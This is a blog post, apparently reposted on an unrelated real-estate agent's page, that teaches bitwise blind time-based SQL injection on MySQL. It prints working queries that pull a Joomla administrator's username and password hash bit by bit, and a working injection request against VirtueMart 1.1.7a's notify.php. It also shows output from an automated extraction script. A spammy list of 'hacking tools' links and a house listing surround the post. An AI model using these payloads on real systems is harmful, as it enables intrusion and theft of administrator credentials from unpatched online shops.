Twitter Updates

    follow me on Twitter

    List for 4.5% and get 1% cash back on your purchase

    Tuesday, April 14, 2020

    Bit Banging Your Database

    This post will be about stealing data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database.

    Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:
    select length(username) from jos_users where usertype = 'Super Administrator';
    Because we can't return the value back directly we have to make a query like the following iteratively:

    select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
    select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
    We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit. 

    Examples showing time difference:
     mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
    1 row in set (0.00 sec)
    mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
    1 row in set (0.85 sec)
    Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value: 

    Start with checking the most significant bit and continue to the least significant bit, value is '65':
    value & 128 
    01000001
    10000000
    -----------
    00000000 

    value & 64
    01000001
    01000000
    -----------
    01000000
    value & 32
    01000001
    00100000
    -----------
    00000000
    value & 16
    01000001
    00010000
    --------
    00000000
    value & 8
    01000001
    00001000
    --------
    00000000

    value & 4
    01000001
    00000100
    -----------
    00000000
    value & 2
    01000001
    00000010
    -----------
    00000000
    value & 1
    01000001
    00000001
    -----------
    00000001
    The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:

    mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
    1 row in set (0.00 sec)
    mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
    1 row in set (7.91 sec)

    mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
    1 row in set (0.00 sec)

    mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
    1 row in set (0.00 sec)

    mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0)  from jos_users;
    1 row in set (0.00 sec)

    mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0)  from jos_users;
    1 row in set (0.00 sec)

    mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
    1 row in set (0.00 sec)

    mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0)  from jos_users;
    1 row in set (8.74 sec)
    As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:

    select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;
    This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:
    da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
    If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:

    mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
    mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
    mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)
    mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
    mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
    mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
    mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
    mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
    Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.

    Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :


              if($order_id === "" || $order_id === null)
              {
                            $vmLogger->debug("Could not find order ID via invoice");
                            $vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
                           
    $qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
                            $db->query($qv);
                            print($qv);
                            if( !$db->next_record()) {
                                    $vmLogger->err("Error: No Records Found.");
                            }
    The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:


    POST /administrator/components/com_virtuemart/notify.php HTTP/1.0
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 56
    invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#  
    Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:
    python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"
    [*] Getting string length
    [+] username length is:5
    [+] username:admin
    [*] Getting string length
    [+] password length is:65
    [+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL
    The "vm_own.py" script can be downloaded here.


    More articles
    1. Hacker Tools 2020
    2. Hack Tools Download
    3. Pentest Box Tools Download
    4. Hacker Tools Apk
    5. What Is Hacking Tools
    6. World No 1 Hacker Software
    7. Pentest Tools Github
    8. Nsa Hack Tools Download
    9. Hacking Tools For Windows 7
    10. Hack Tools
    11. Hacking Tools Kit
    12. Hacking App
    13. Hack Apps
    14. Hack Tools
    15. Hacker Security Tools
    16. Pentest Tools For Windows
    17. Best Hacking Tools 2019
    18. Pentest Tools Review
    19. Hak5 Tools
    20. Hacker Tools Free
    21. Github Hacking Tools
    22. Hacker Tools Apk

    No comments:

    Post a Comment

    Home for sale- $2,000 rebate!

    Ready Real Estate slide show

    Become a fan of my page

    Sheree Dutton, Reatlor, DFW, Texas on Facebook
    Powered By Blogger

    Pandora Faves

    Back on the market, price reduced, 1% cash back rebate offered

    Sheree Dutton | Ready Real Estate | 817-975-0461
    222 Birchwood, Azle, TX
    Back on the market, price reduced and 15 cash back rebate offered!
    3BR/2BA Single Family House
    offered at $102,500
    Year Built 2006
    Sq Footage 1,142
    Bedrooms 3
    Bathrooms 2 full, 0 partial
    Floors 1
    Parking 3 Covered spaces
    Lot Size .225 acres
    HOA/Maint $0 per month

    DESCRIPTION


    Wow, talk about pride of ownership! This house has too many upgrades to count, and is so well cared for. You must see it to believe it! A lot of value in this perfect starter home.

    OPEN HOUSE SUNDAY MAY 3RD 2+5 pm

    see additional photos below
    PROPERTY FEATURES

    - Central A/C - Central heat - Fireplace
    - High/Vaulted ceiling - Walk-in closet - Tile floor
    - Living room - Breakfast nook - Dishwasher
    - Refrigerator - Stove/Oven - Microwave
    - Laundry area - inside - Balcony, Deck, or Patio - Yard

    OTHER SPECIAL FEATURES

    - 1 car garage, covered carport for 2 cars
    - covered wood deck in backyard
    - gutters
    - storage shed
    - newly stained wood fence
    - electric fireplace added, with tile hearth
    - upgraded ceiling fans and light fixtures
    - island in kitchen

    ADDITIONAL PHOTOS


    Fantastic curb appeal

    covered wood deck in back

    living room

    kitchen with island

    breakfast nook

    master bedroom
    Contact info:
    Sheree Dutton
    Ready Real Estate
    817-975-0461
    For sale by agent/broker

    powered by postlets Equal Opportunity Housing
    Posted: Sep 11, 2009, 7:31am PDT

    Blog Archive